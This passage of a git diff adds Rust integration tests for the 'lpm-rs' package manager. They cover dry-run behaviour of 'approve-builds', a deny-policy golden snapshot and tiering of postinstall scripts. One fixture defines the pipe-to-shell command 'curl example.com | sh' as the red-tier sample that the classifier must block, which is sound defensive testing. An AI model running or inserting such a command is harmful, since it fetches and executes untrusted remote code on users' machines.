untouched. The review flow runs normally; only the write step +//! > is skipped. JSON envelopes carry `"dry_run": true`. +//! +//! The tests here exercise both project and global mutation surfaces +//! end-to-end through subprocess invocation of `lpm-rs`. The contract +//! at each mutation site is **byte-equality of the would-be-mutated +//! file before and after the command**, PLUS `"dry_run": true` on +//! the JSON envelope — a pre-fix binary (without Chunk 3's +//! short-circuits) fails these. +//! +//! ## Why subprocess and not direct library calls +//! +//! Same rationale as the P6/P7 reference fixtures: real +//! stdout/stderr separation, real CLI-to-`run_global` dispatch +//! through `main.rs`, real env isolation via `LPM_HOME`. Critically, +//! the byte-equal assertion MUST observe what `run_global`'s +//! atomic-write path produces on disk; a direct library call +//! bypasses the whole-binary contract. +//! +//! ## Coverage map (per signoff) +//! +//! - Project `--yes --dry-run --json`: `package.json` byte-equal, +//! JSON has `"dry_run": true`. +//! - Project ` --dry-run --json`: `package.json` byte-equal, +//! JSON has `"dry_run": true`. +//! - Project `--list --dry-run`: accepted silently, no mutation. +//! - Global `--yes --global --dry-run --json`: +//! `trusted-dependencies.json` byte-equal (or absent before AND +//! after), JSON has `"dry_run": true`. +//! - Global ` --global --dry-run --json`: same. +//! +//! The interactive walks (both project and global) are not +//! subprocess-testable without a TTY; their dry-run short-circuit +//! is pinned by source-level audit in the Chunk 3 patch plus the +//! unit-level tests of the project-mode `run`'s `--yes` path +//! (existing `approve_builds_yes_*` tests). + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +// ── Harness (mirrors P6/P7 shape; duplicated intentionally — see +// P6 fixture's commentary on why per-file harness duplication is +// the established pattern) ───────────────────────────────────── + +fn run_lpm(cwd: &Path, home: &Path, args: &[&str]) -> (std::process::ExitStatus, String, String) { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let output = Command::new(exe) + .args(args) + .current_dir(cwd) + .env("LPM_HOME", home.join(".lpm")) + .env("HOME", home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env_remove("RUST_LOG") + .output() + .expect("failed to spawn lpm-rs"); + let stdout = String::from_utf8_lossy(&output.stdout).to_string(); + let stderr = String::from_utf8_lossy(&output.stderr).to_string(); + (output.status, stdout, stderr) +} + +// ── Project-mode fixture helpers ──────────────────────────────── + +/// Write a project `package.json` with no `trustedDependencies`. +/// First-time review scenario: the approver has no prior bindings, +/// so the diff surface is empty and `approve-builds` is purely +/// mutating (pre-fix) or purely previewing (post-fix). +fn write_project_package_json(project: &Path) { + fs::write( + project.join("package.json"), + r#"{ + "name": "p46-close-dryrun-fixture", + "version": "0.0.1" +} +"#, + ) + .unwrap(); +} + +/// Synthesize `/.lpm/build-state.json` with one blocked +/// entry. Enough to drive `lpm approve-builds` through the +/// mutation path; the specific fields match the post-P7 shape. +fn write_blocked_build_state(project: &Path, name: &str, version: &str) { + fs::create_dir_all(project.join(".lpm")).unwrap(); + let body = format!( + r#"{{ + "state_version": 1, + "blocked_set_fingerprint": "sha256-fixture-stable", + "captured_at": "2026-04-22T00:00:00Z", + "blocked_packages": [ + {{ + "name": "{name}", + "version": "{version}", + "integrity": "sha512-fixture-skip-verify", + "script_hash": "sha256-fixture-script-hash", + "phases_present": ["postinstall"], + "binding_drift": false, + "static_tier": "green", + "published_at": "2026-04-22T00:00:00Z" + }} + ] +}}"# + ); + fs::write(project.join(".lpm").join("build-state.json"), body).unwrap(); +} + +// ── Global-mode fixture helpers ───────────────────────────────── + +/// Write a minimal `/.lpm/global/manifest.toml` with one +/// globally-installed top-level package. Matches the on-disk shape +/// produced by `lpm_global::write_for`. +fn write_global_manifest(home: &Path, top_level: &str, top_level_version: &str) { + let global_root = home.join(".lpm").join("global"); + fs::create_dir_all(&global_root).unwrap(); + let toml = format!( + r#"schema_version = 1 + +[packages.{top_level}] +saved_spec = "^1" +resolved = "{top_level_version}" +integrity = "sha512-fixture-top-level" +source = "upstream-npm" +installed_at = "2026-04-22T00:00:00Z" +root = "installs/{top_level}@{top_level_version}" +commands = [] +"# + ); + fs::write(global_root.join("manifest.toml"), toml).unwrap(); +} + +/// Seed a per-install `build-state.json` under the global install +/// root, with one blocked package. The aggregator reads this to +/// populate the global blocked set that `approve-builds --global` +/// iterates over. +fn write_global_install_blocked_state( + home: &Path, + top_level: &str, + top_level_version: &str, + blocked_name: &str, + blocked_version: &str, +) { + let install_lpm = home + .join(".lpm") + .join("global") + .join("installs") + .join(format!("{top_level}@{top_level_version}")) + .join(".lpm"); + fs::create_dir_all(&install_lpm).unwrap(); + let body = format!( + r#"{{ + "state_version": 1, + "blocked_set_fingerprint": "sha256-fixture-stable", + "captured_at": "2026-04-22T00:00:00Z", + "blocked_packages": [ + {{ + "name": "{blocked_name}", + "version": "{blocked_version}", + "integrity": "sha512-fixture-skip-verify", + "script_hash": "sha256-fixture-script-hash", + "phases_present": ["postinstall"], + "binding_drift": false, + "static_tier": "green" + }} + ] +}}"# + ); + fs::write(install_lpm.join("build-state.json"), body).unwrap(); +} + +/// Path to the global trust file. Absence before the test is the +/// baseline; the byte-equal contract asserts it's still absent +/// after a dry-run invocation (or still carries the pre-seeded +/// contents if we chose to seed one). +fn global_trust_path(home: &Path) -> PathBuf { + home.join(".lpm") + .join("global") + .join("trusted-dependencies.json") +} + +struct Fixture { + _tmpdir: tempfile::TempDir, + home: PathBuf, + project: PathBuf, +} + +impl Fixture { + fn new() -> Self { + let tmpdir = tempfile::tempdir().unwrap(); + let home = tmpdir.path().to_path_buf(); + let project = home.join("project"); + fs::create_dir_all(&project).unwrap(); + Fixture { + _tmpdir: tmpdir, + home, + project, + } + } +} + +// ── Project-mode tests ───────────────────────────────────────── + +/// Ship criterion — project `--yes --dry-run --json`: the bulk path +/// must not mutate `package.json`, and the JSON envelope must carry +/// `"dry_run": true` so agents can detect the mode. Pre-fix, the +/// `write_back` call at `approve_builds.rs:368` fires +/// unconditionally; this test fails on a pre-fix binary. +#[test] +fn p46_close_chunk3_project_yes_dry_run_does_not_mutate_package_json_and_json_carries_flag() { + let fx = Fixture::new(); + write_project_package_json(&fx.project); + write_blocked_build_state(&fx.project, "some-blocked-pkg", "1.0.0"); + + let pkg_json_path = fx.project.join("package.json"); + let before = fs::read(&pkg_json_path).unwrap(); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--yes", "--dry-run"], + ); + + assert!( + status.success(), + "--yes --dry-run --json must exit 0. stdout={stdout}" + ); + + let after = fs::read(&pkg_json_path).unwrap(); + assert_eq!( + before, after, + "package.json must be byte-equal before and after --yes --dry-run — \ + pre-fix, the write_back call at approve_builds.rs:368 mutates \ + the manifest" + ); + + // JSON envelope must surface the dry-run mode so agents can + // distinguish preview from live-write. + let parsed: serde_json::Value = + serde_json::from_str(stdout.trim()).expect("valid JSON on stdout"); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(true), + "JSON envelope must carry `dry_run: true` under --dry-run. envelope={parsed}" + ); + assert_eq!( + parsed["approved_count"].as_u64(), + Some(1), + "the would-approve count matches the blocked set — pre-fix and \ + post-fix must agree on this number; only mutation differs" + ); + // The `--yes` warning message must clearly indicate this is a + // preview, not a live bulk-approve. Agents parsing warnings + // rely on the text shape. + let warnings = parsed["warnings"].as_array().expect("warnings array"); + let first_msg = warnings + .first() + .and_then(|w| w.get("message")) + .and_then(|m| m.as_str()) + .unwrap_or(""); + assert!( + first_msg.contains("DRY RUN"), + "--yes warning must reframe as DRY RUN under --dry-run. \ + warning={first_msg}" + ); +} + +/// Ship criterion — project ` --dry-run --json`: the direct- +/// approve path must not mutate `package.json`. Pre-fix, the +/// `write_back` call at `approve_builds.rs:289` fires after the +/// user confirms (or under --json, auto-confirms). +#[test] +fn p46_close_chunk3_project_named_dry_run_does_not_mutate_package_json() { + let fx = Fixture::new(); + write_project_package_json(&fx.project); + write_blocked_build_state(&fx.project, "some-blocked-pkg", "1.0.0"); + + let pkg_json_path = fx.project.join("package.json"); + let before = fs::read(&pkg_json_path).unwrap(); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "some-blocked-pkg", "--dry-run"], + ); + + assert!(status.success(), "exit 0 expected. stdout={stdout}"); + + let after = fs::read(&pkg_json_path).unwrap(); + assert_eq!( + before, after, + "package.json must be byte-equal before and after --dry-run" + ); + + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!(parsed["dry_run"].as_bool(), Some(true)); + assert_eq!(parsed["approved_count"].as_u64(), Some(1)); +} + +/// Compatibility — project `--list --dry-run`: silent no-op. +/// `--list` is already read-only, and the signoff says `--dry-run` +/// on top of it is a no-op (accept silently). This pins that +/// `--list --dry-run` doesn't error and doesn't mutate. +#[test] +fn p46_close_chunk3_project_list_dry_run_is_silent_no_op() { + let fx = Fixture::new(); + write_project_package_json(&fx.project); + write_blocked_build_state(&fx.project, "some-blocked-pkg", "1.0.0"); + + let pkg_json_path = fx.project.join("package.json"); + let before = fs::read(&pkg_json_path).unwrap(); + + // Plain `--list --json` without `--dry-run`: the envelope must + // carry `"dry_run": false` as the regression baseline for the + // universal contract below. + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--list"], + ); + assert!(status.success(), "plain --list --json must succeed"); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(false), + "plain --list --json must carry `dry_run: false` for schema uniformity — \ + agents read `envelope.dry_run` without branching on mode. envelope={parsed}" + ); + + // Same path with `--dry-run`: envelope flips to `true`; no + // mutation. Upgraded from a basic exit-code-only assertion + // to prove the universal dry_run contract holds on read-only + // paths too. + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--list", "--dry-run"], + ); + assert!( + status.success(), + "--list --dry-run --json must succeed (dry-run is a no-op on an \ + already-read-only command, but the envelope still reflects the mode)" + ); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(true), + "--list --dry-run --json envelope must carry `dry_run: true` — \ + the help text (main.rs) + the command-level doc comments \ + (approve_builds.rs) promise agents can detect dry-run \ + uniformly; this assertion is the enforcement. envelope={parsed}" + ); + + let after = fs::read(&pkg_json_path).unwrap(); + assert_eq!(before, after, "`--list` never mutates, dry-run or not"); +} + +/// Empty-blocked-set envelope carries `dry_run` too. The +/// `effective_state.blocked_packages.is_empty()` branch in +/// [`run`] emits its own short-circuit envelope; this test pins +/// that it conforms to the universal dry_run schema. +#[test] +fn p46_close_chunk3_project_empty_blocked_set_json_carries_dry_run_flag() { + let fx = Fixture::new(); + write_project_package_json(&fx.project); + // Write a build-state with an empty blocked_packages array to + // reach the short-circuit branch. + fs::create_dir_all(fx.project.join(".lpm")).unwrap(); + fs::write( + fx.project.join(".lpm").join("build-state.json"), + r#"{ + "state_version": 1, + "blocked_set_fingerprint": "sha256-empty", + "captured_at": "2026-04-22T00:00:00Z", + "blocked_packages": [] +}"#, + ) + .unwrap(); + + // Two invocations: dry-run off and on. Both exit 0 with a + // "nothing to approve" JSON envelope; only the dry_run field + // differs. + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--yes"], + ); + assert!(status.success()); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!(parsed["blocked_count"].as_u64(), Some(0)); + assert_eq!(parsed["dry_run"].as_bool(), Some(false)); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--yes", "--dry-run"], + ); + assert!(status.success()); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!(parsed["blocked_count"].as_u64(), Some(0)); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(true), + "empty-set envelope must carry dry_run: true too — the short-\ + circuit at approve_builds.rs emits its own inline envelope \ + separate from print_summary; both must conform to the \ + universal contract. envelope={parsed}" + ); +} + +// ── Global-mode tests ────────────────────────────────────────── + +/// Ship criterion — global `--yes --global --dry-run --json`: the +/// aggregate-bulk path must not mutate +/// `~/.lpm/global/trusted-dependencies.json`. Pre-fix, the +/// `lpm_global::trusted_deps::write_for` call inside +/// `run_global_bulk_yes` fires unconditionally. This test fails on +/// a pre-fix binary. +#[test] +fn p46_close_chunk3_global_yes_dry_run_does_not_mutate_trust_file_and_json_carries_flag() { + let fx = Fixture::new(); + write_global_manifest(&fx.home, "some-top-level", "1.0.0"); + write_global_install_blocked_state( + &fx.home, + "some-top-level", + "1.0.0", + "some-blocked-pkg", + "2.0.0", + ); + + let trust_path = global_trust_path(&fx.home); + // The trust file is absent in the fresh-fixture state — + // `lpm_global::trusted_deps::read_for` returns default under + // missing-file (§ trusted_deps.rs read_at). Under `--dry-run` + // the write is skipped, so the file MUST stay absent. + assert!( + !trust_path.exists(), + "pre-condition: trust file must not exist before the test" + ); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--global", "--yes", "--dry-run"], + ); + + assert!( + status.success(), + "--yes --global --dry-run --json must exit 0. stdout={stdout}" + ); + + assert!( + !trust_path.exists(), + "trusted-dependencies.json must stay absent under --dry-run — \ + pre-fix, `write_for` in run_global_bulk_yes creates the file" + ); + + let parsed: serde_json::Value = + serde_json::from_str(stdout.trim()).expect("valid JSON on stdout"); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(true), + "global envelope must carry `dry_run: true` too" + ); + assert_eq!(parsed["scope"].as_str(), Some("global")); + assert_eq!(parsed["approved_count"].as_u64(), Some(1)); + let warnings = parsed["warnings"].as_array().expect("warnings array"); + assert!( + warnings + .first() + .and_then(|w| w.as_str()) + .map(|s| s.contains("DRY RUN")) + .unwrap_or(false), + "global --yes warning must reframe as DRY RUN. warnings={warnings:?}" + ); +} + +/// Ship criterion — global ` --global --dry-run --json`: the +/// named-approve path must not mutate the global trust file. +/// Pre-fix, the `write_for` call in `run_global_named` fires +/// unconditionally. +#[test] +fn p46_close_chunk3_global_named_dry_run_does_not_mutate_trust_file() { + let fx = Fixture::new(); + write_global_manifest(&fx.home, "some-top-level", "1.0.0"); + write_global_install_blocked_state( + &fx.home, + "some-top-level", + "1.0.0", + "some-blocked-pkg", + "2.0.0", + ); + + let trust_path = global_trust_path(&fx.home); + assert!( + !trust_path.exists(), + "pre-condition: trust file absent on fresh fixture" + ); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &[ + "--json", + "approve-builds", + "--global", + "some-blocked-pkg@2.0.0", + "--dry-run", + ], + ); + + assert!(status.success(), "exit 0 expected. stdout={stdout}"); + + assert!( + !trust_path.exists(), + "trusted-dependencies.json must stay absent under --dry-run --global" + ); + + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!(parsed["dry_run"].as_bool(), Some(true)); + assert_eq!(parsed["scope"].as_str(), Some("global")); + assert_eq!(parsed["approved_count"].as_u64(), Some(1)); + // Sanity: the matched package identity carries through so + // agents can see which candidate would have been approved. + let approved = parsed["approved"].as_array().expect("approved array"); + assert_eq!(approved.len(), 1); + assert_eq!(approved[0]["name"].as_str(), Some("some-blocked-pkg")); + assert_eq!(approved[0]["version"].as_str(), Some("2.0.0")); +} + +/// Control — global ` --global --dry-run` against a pre-seeded +/// trust file: the file must stay byte-equal to its seeded contents, +/// proving the dry-run short-circuit protects existing state as +/// well as the fresh-file case above. +#[test] +fn p46_close_chunk3_global_named_dry_run_preserves_pre_seeded_trust_file_byte_equal() { + let fx = Fixture::new(); + write_global_manifest(&fx.home, "some-top-level", "1.0.0"); + write_global_install_blocked_state( + &fx.home, + "some-top-level", + "1.0.0", + "some-blocked-pkg", + "2.0.0", + ); + + // Pre-seed the trust file with an unrelated entry so byte-equal + // is a meaningful assertion (mutation would rewrite this). + let trust_path = global_trust_path(&fx.home); + let seeded = r#"{ + "schema_version": 1, + "trusted": { + "unrelated@9.9.9": { + "integrity": "sha512-pre-seeded", + "script_hash": "sha256-pre-seeded" + } + } +} +"#; + fs::write(&trust_path, seeded).unwrap(); + let before = fs::read(&trust_path).unwrap(); + + let (status, _stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &[ + "--json", + "approve-builds", + "--global", + "some-blocked-pkg@2.0.0", + "--dry-run", + ], + ); + + assert!(status.success(), "exit 0 expected"); + + let after = fs::read(&trust_path).unwrap(); + assert_eq!( + before, after, + "pre-seeded trusted-dependencies.json must be byte-equal under \ + --dry-run — pre-fix, `write_for` rewrites it with the new binding" + ); +} + +/// Universal-contract enforcement for the global `--list --json` +/// envelope: `print_global_list` emits `dry_run` uniformly so +/// agents can read the flag without branching on which approve- +/// builds subcommand produced the output. Mirrors the project- +/// side assertion in the project `--list` test above. +#[test] +fn p46_close_chunk3_global_list_json_carries_dry_run_flag_on_both_axes() { + let fx = Fixture::new(); + write_global_manifest(&fx.home, "some-top-level", "1.0.0"); + write_global_install_blocked_state( + &fx.home, + "some-top-level", + "1.0.0", + "some-blocked-pkg", + "2.0.0", + ); + + // Plain `--list --global --json`: dry_run: false baseline. + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--global", "--list"], + ); + assert!(status.success()); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!(parsed["scope"].as_str(), Some("global")); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(false), + "plain `--list --global --json` must carry `dry_run: false` \ + for schema uniformity. envelope={parsed}" + ); + + // `--dry-run` on top: flag flips to true. + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &[ + "--json", + "approve-builds", + "--global", + "--list", + "--dry-run", + ], + ); + assert!(status.success()); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap(); + assert_eq!(parsed["scope"].as_str(), Some("global")); + assert_eq!( + parsed["dry_run"].as_bool(), + Some(true), + "`--list --global --dry-run --json` envelope must carry \ + `dry_run: true`. envelope={parsed}" + ); +} diff --git a/crates/lpm-cli/tests/p46_close_policy_deny_baseline.rs b/crates/lpm-cli/tests/p46_close_policy_deny_baseline.rs new file mode 100644 index 00000000..a619d477 --- /dev/null +++ b/crates/lpm-cli/tests/p46_close_policy_deny_baseline.rs @@ -0,0 +1,251 @@ +//! Phase 46 close-out Chunk 5 — deterministic `--policy=deny` +//! baseline snapshot. +//! +//! §18 ("Before the full phase ships"): +//! +//! > `lpm install --policy=deny` output snapshot matches Phase 32 +//! > Phase 4 baseline (zero-regression guarantee for the default). +//! +//! §12.7 (v2.10 reframe): +//! +//! > A deterministic `--policy=deny` baseline output snapshot on a +//! > small synthetic 2-pkg fixture guards the zero-regression-for- +//! > the-default guarantee from §18 at the subprocess level. +//! +//! ## Why `lpm build --dry-run --policy=deny --json`, not `lpm install` +//! +//! A real `lpm install` against a synthetic fixture would need +//! either (a) network access to lpm.dev, or (b) a mocked registry +//! via `wiremock`. Both are out of 46.0 close-out scope — the v2.9 +//! residual gap explicitly flags "a real end-to-end install +//! fixture is a separate workstream." For the close-out guarantee, +//! a post-install command surface suffices: the JSON-mode output +//! of `lpm build --dry-run` is a direct function of the persisted +//! state that install would have produced, and under +//! `--policy=deny` its shape is the pre-Phase-46 contract +//! verbatim. +//! +//! The golden file at `tests/fixtures/p46_close_policy_deny_baseline.stdout` +//! captures that byte-exact output. A future phase that +//! accidentally widens the deny-mode schema (e.g. adding a +//! `static_tier` field to dry-run entries under default policy) +//! fails this test. Fix forward: either the new field is +//! intentional (update the golden via `UPDATE_GOLDEN=1 cargo test +//! --test p46_close_policy_deny_baseline`), or the change was +//! unintended (back it out). +//! +//! ## Why a 2-pkg fixture +//! +//! The Chunk 5 signoff explicitly split wall-clock benchmarking +//! (51-pkg fixture) from subprocess golden snapshots (2-pkg +//! deterministic fixture). At 51 packages the JSON output picks up +//! resolver noise — HashMap insertion order in `scripts`, toposort +//! tie-breaks — that makes byte-equal assertions flaky. Two +//! packages, one trusted and one untrusted, is the minimum that +//! exercises the deny-mode default-branch filter (trusted in, untrusted +//! filtered out) while staying byte-stable across runs. + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +// ── Harness ──────────────────────────────────────────────────────── + +fn run_lpm(cwd: &Path, home: &Path, args: &[&str]) -> (std::process::ExitStatus, String, String) { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let output = Command::new(exe) + .args(args) + .current_dir(cwd) + .env("LPM_HOME", home.join(".lpm")) + .env("HOME", home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env_remove("RUST_LOG") + .output() + .expect("failed to spawn lpm-rs"); + let stdout = String::from_utf8_lossy(&output.stdout).to_string(); + let stderr = String::from_utf8_lossy(&output.stderr).to_string(); + (output.status, stdout, stderr) +} + +/// Seed a synthetic package version into `/.lpm/store/v1/`. +/// Shape mirrors the P6/P7 reference fixtures so the store entry +/// is valid enough for `lpm build` to resolve. +fn seed_package(home: &Path, name: &str, version: &str, postinstall: &str) -> PathBuf { + let safe_name = name.replace(['/', '\\'], "+"); + let pkg_dir = home + .join(".lpm") + .join("store") + .join("v1") + .join(format!("{safe_name}@{version}")); + fs::create_dir_all(&pkg_dir).unwrap(); + fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":"{postinstall}"}}}}"#, + ), + ) + .unwrap(); + fs::write(pkg_dir.join(".integrity"), "sha512-fixture-skip-verify").unwrap(); + pkg_dir +} + +/// Minimal lockfile listing the two fixture packages. +fn write_lockfile(project: &Path) { + let toml = r#"[metadata] +lockfile-version = 1 +resolved-with = "pubgrub" + +[[packages]] +name = "trusted-pkg" +version = "1.0.0" + +[[packages]] +name = "untrusted-pkg" +version = "1.0.0" +"#; + fs::write(project.join("lpm.lock"), toml).unwrap(); +} + +/// Project `package.json` with a legacy bare-name entry in +/// `lpm.trustedDependencies`. Legacy form is load-bearing here: the +/// strict-form binding would require a real `scriptHash` to match +/// the seeded package, which couples the fixture to the hash +/// algorithm's current output. Legacy bare-name bypasses the hash +/// check (accepts any script body for the named package) — exactly +/// the pre-P4 behavior that earned it its soft-deprecation +/// warning. Under `--policy=deny` the LegacyName trust reason +/// still promotes the package to `is_trusted = true`, which is all +/// the golden needs: one trusted (included) and one untrusted +/// (filtered out). +fn write_project_package_json(project: &Path) { + fs::write( + project.join("package.json"), + r#"{ + "name": "p46-close-deny-baseline", + "version": "0.0.1", + "lpm": { + "trustedDependencies": ["trusted-pkg"] + } +} +"#, + ) + .unwrap(); +} + +struct Fixture { + _tmpdir: tempfile::TempDir, + home: PathBuf, + project: PathBuf, +} + +impl Fixture { + fn new() -> Self { + let tmpdir = tempfile::tempdir().unwrap(); + let home = tmpdir.path().to_path_buf(); + let project = home.join("project"); + fs::create_dir_all(&project).unwrap(); + seed_package(&home, "trusted-pkg", "1.0.0", "echo hi"); + seed_package(&home, "untrusted-pkg", "1.0.0", "echo hi"); + write_lockfile(&project); + write_project_package_json(&project); + Fixture { + _tmpdir: tmpdir, + home, + project, + } + } +} + +// ── Baseline guard ───────────────────────────────────────────────── + +/// Ship criterion for Chunk 5: `lpm build --dry-run --policy=deny +/// --json` on the 2-pkg fixture produces byte-equal output with +/// the committed golden. Any drift — intentional or not — +/// requires touching this file, which forces the developer to +/// decide whether the delta is a legit schema evolution (update +/// via `UPDATE_GOLDEN=1`) or an accidental regression (revert). +#[test] +fn p46_close_chunk5_policy_deny_dry_run_json_matches_golden() { + let fx = Fixture::new(); + + let (status, stdout, stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "build", "--dry-run", "--policy=deny"], + ); + + assert!( + status.success(), + "build --dry-run --policy=deny --json must exit 0. \ + stdout={stdout}\nstderr={stderr}" + ); + + let golden_path = Path::new(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("fixtures") + .join("p46_close_policy_deny_baseline.stdout"); + + if std::env::var_os("UPDATE_GOLDEN").is_some() { + fs::write(&golden_path, &stdout).unwrap(); + // Re-read so the assertion still fires; if the write + // succeeded the comparison is trivially byte-equal, but + // the assertion's error path is where the developer sees + // the new content in a diff if another mismatch sneaks in. + } + + let expected = fs::read_to_string(&golden_path).expect( + "golden file missing at tests/fixtures/p46_close_policy_deny_baseline.stdout \ + — run once with UPDATE_GOLDEN=1 to capture the initial baseline", + ); + + assert_eq!( + stdout, expected, + "deny-mode `--dry-run --json` output drifted from the committed baseline. \ + If the change is intentional (new field, reshaped key, etc.), re-run:\n\ + \n UPDATE_GOLDEN=1 cargo test -p lpm-cli --test p46_close_policy_deny_baseline\n\ + \n\ + …and commit the updated golden. If the change is unintended, revert \ + the code change that produced the drift.\n\ + \n\ + --- expected (golden) ---\n{expected}\n\ + --- actual ---\n{stdout}\n" + ); +} + +/// Stream-separation sanity: under `--json`, stdout must be +/// parseable JSON and contain only the envelope — no human +/// warnings, no pointer text, no stderr bleed. Pairs with the +/// byte-equal golden above: if the golden ever passes but +/// stdout has extra content before/after the JSON, this parse +/// fails first and reports the exact offending shape. +#[test] +fn p46_close_chunk5_policy_deny_dry_run_json_stdout_is_clean_json() { + let fx = Fixture::new(); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "build", "--dry-run", "--policy=deny"], + ); + + assert!(status.success()); + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap_or_else(|e| { + panic!( + "deny-mode --dry-run --json stdout must be parseable JSON. \ + Parse error: {e}\nstdout:\n{stdout}" + ) + }); + assert_eq!(parsed["dry_run"].as_bool(), Some(true)); + let packages = parsed["packages"] + .as_array() + .expect("packages array must be present"); + assert_eq!( + packages.len(), + 1, + "deny-mode filter must include only the trusted package" + ); + assert_eq!(packages[0]["name"].as_str(), Some("trusted-pkg")); + assert_eq!(packages[0]["trusted"].as_bool(), Some(true)); +} diff --git a/crates/lpm-cli/tests/p6_triage_autoexec_reference.rs b/crates/lpm-cli/tests/p6_triage_autoexec_reference.rs new file mode 100644 index 00000000..a5b747e6 --- /dev/null +++ b/crates/lpm-cli/tests/p6_triage_autoexec_reference.rs @@ -0,0 +1,499 @@ +//! Phase 46 P6 Chunk 5 — reference-fixture integration tests. +//! +//! These tests are the §11 P6 ship-criteria gate at the CLI level: +//! a representative-shape `lpm build` invocation under +//! `script-policy = "triage"` auto-runs green-tier postinstalls, +//! leaves amber/red in the blocked set with a pointer, and maintains +//! stdout/stderr separation (JSON to stdout, human UX to stderr). +//! +//! The synthetic packages mirror shapes the plan explicitly calls +//! out: `node .js` (green allowlist entry), `playwright +//! install` (D18 amber — network binary downloader), and `curl | sh` +//! (red blocklist). This shape-matching is load-bearing — the +//! Layer 1 static-gate classifier is regex-like, and any drift +//! between plan prose and fixture bodies would leave the ship +//! criteria un-verified at the integration level. +//! +//! ## Why subprocess and not direct library calls +//! +//! - Real stdout/stderr separation. The Chunk 1/4 pointers route +//! through `output::warn` (stderr) and the Chunk 4 JSON +//! enrichment routes to stdout. A unit test using captured +//! output can't see fd 1 vs fd 2 — that gap is what this +//! harness closes. +//! - Real binary dispatch. The CLI layer resolves +//! `effective_policy` in `main.rs` and threads it into +//! `build::run`; direct library calls could accidentally bypass +//! that dispatch. +//! +//! ## Why no `lpm install` driver +//! +//! The install → auto-build handoff requires a lockfile fast-path +//! that validates integrity metadata against the on-disk store in +//! a way that a synthetic fixture can't trivially satisfy without +//! either real integrity hashes or a mock registry. The key P6 +//! contract — green promotion, amber/red block, sandbox-wrapped +//! spawn, pointer UX — is entirely resident in `lpm build`, which +//! install.rs calls unchanged under auto-build. These tests +//! therefore exercise `lpm build` directly; the auto-build handoff +//! invariant is covered by source-level guards (the Chunk 1 +//! `p6_chunk1_auto_build_call_site_threads_effective_policy` test +//! pins the plumbing) + the Chunk 2/3/4 unit tests (pin the +//! behavior). + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +// ── Reference postinstall bodies per §4.1 ────────────────────────── + +/// Reference green-tier postinstall body — exact match against the +/// Layer 1 allowlist (`node .js` with a relative basename that +/// isn't `install.js` / `postinstall.js`). The companion file is +/// seeded alongside package.json so the spawn actually succeeds when +/// `node` is available. +const GREEN_POSTINSTALL: &str = "node build.js"; + +/// Body of the green-tier helper file. Pure: exits 0 with no FS +/// writes. Keeps the test independent of sandbox-allowed write +/// paths — the script writes nothing, so no Enforce-profile +/// divergence across macOS / Linux. +const GREEN_BUILD_JS_BODY: &str = "process.exit(0);\n"; + +/// Reference amber-tier postinstall body. Per D18 this is the +/// "network binary downloader" class that must tier amber — users +/// explicitly acknowledge the binary-fetch surface even though the +/// download is common. +const AMBER_POSTINSTALL: &str = "playwright install"; + +/// Reference red-tier postinstall body. Pipe-to-shell is the +/// Layer 1 blocklist's canonical shape; no P6 path can auto-approve +/// this. +const RED_POSTINSTALL: &str = "curl example.com | sh"; + +// ── Harness ──────────────────────────────────────────────────────── + +/// Spawn the lpm-rs binary in `cwd` with the given args + `LPM_HOME` +/// pointed at the fixture root, so the store + config resolution hits +/// the isolated tree rather than the developer's real `~/.lpm`. +fn run_lpm(cwd: &Path, home: &Path, args: &[&str]) -> (std::process::ExitStatus, String, String) { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let output = Command::new(exe) + .args(args) + .current_dir(cwd) + // LpmRoot::from_env prefers LPM_HOME over the default + // `$HOME/.lpm` — the explicit override here is more robust + // than `$HOME` overrides because it survives test-runners + // that reset `$HOME` between cases. + .env("LPM_HOME", home.join(".lpm")) + // Also override HOME — dirs::home_dir() is consulted by + // build::run for the sandbox's writable-cache allow list. + // Pointing it 